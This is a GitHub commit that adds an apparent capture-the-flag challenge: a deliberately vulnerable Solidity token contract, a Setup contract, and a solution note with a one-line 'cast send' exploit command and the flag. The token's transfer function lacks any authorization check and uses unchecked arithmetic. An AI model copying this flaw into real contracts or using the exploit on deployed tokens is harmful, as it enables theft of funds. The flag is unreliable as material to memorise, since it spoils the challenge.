-
Notifications
You must be signed in to change notification settings - Fork 73
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
73 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
|
||
Run: | ||
``` | ||
cast send $COIN_ADDR "transfer(address,address,uint256)" $SETUP_ADDR $SETUP_ADDR 1000000 --private-key $PRIVATE_KEY | ||
``` | ||
|
||
Flag: | ||
``` | ||
osu{u_just_solved_https://x.com/shoucccc/status/1762614966815998314} | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
pragma solidity ^0.8.17; | ||
|
||
contract OsuCoin { | ||
struct Account { | ||
uint128 balance; | ||
uint32 context; | ||
uint96 escaped; | ||
} | ||
|
||
address public constant _0 = address(0); | ||
|
||
mapping(address => Account) public _accounts; | ||
|
||
function balanceOf(address a) public view returns (uint128) { | ||
return _accounts[a].balance; | ||
} | ||
|
||
function deposit() public payable { | ||
_accounts[msg.sender].balance += uint128(msg.value); | ||
} | ||
|
||
function withdraw(uint256) public pure { | ||
require(false, "You really think you could get USD from withdrawing osu!coin?"); | ||
} | ||
|
||
function transfer(address from, address to, uint256 amount) public returns (uint160) { | ||
uint128 n = uint128(amount); | ||
unchecked { | ||
Account memory a = _accounts[from]; | ||
Account memory b = _accounts[to]; | ||
a.balance -= n; | ||
b.balance += n; | ||
_accounts[to] = b; | ||
_accounts[from] = a; | ||
return 0; | ||
} | ||
} | ||
|
||
receive() external payable { | ||
deposit(); | ||
} | ||
|
||
fallback() external payable { | ||
deposit(); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
pragma solidity ^0.8.17; | ||
|
||
import "./OsuCoin.sol"; | ||
|
||
contract Setup { | ||
OsuCoin public immutable coin; | ||
|
||
constructor() payable { | ||
require(msg.value == 100 wei, "requires 100 wei"); | ||
coin = new OsuCoin(); | ||
coin.deposit{value: msg.value}(); | ||
} | ||
|
||
function isSolved() public view returns (bool) { | ||
return coin.balanceOf(address(this)) == 0; | ||
} | ||
} |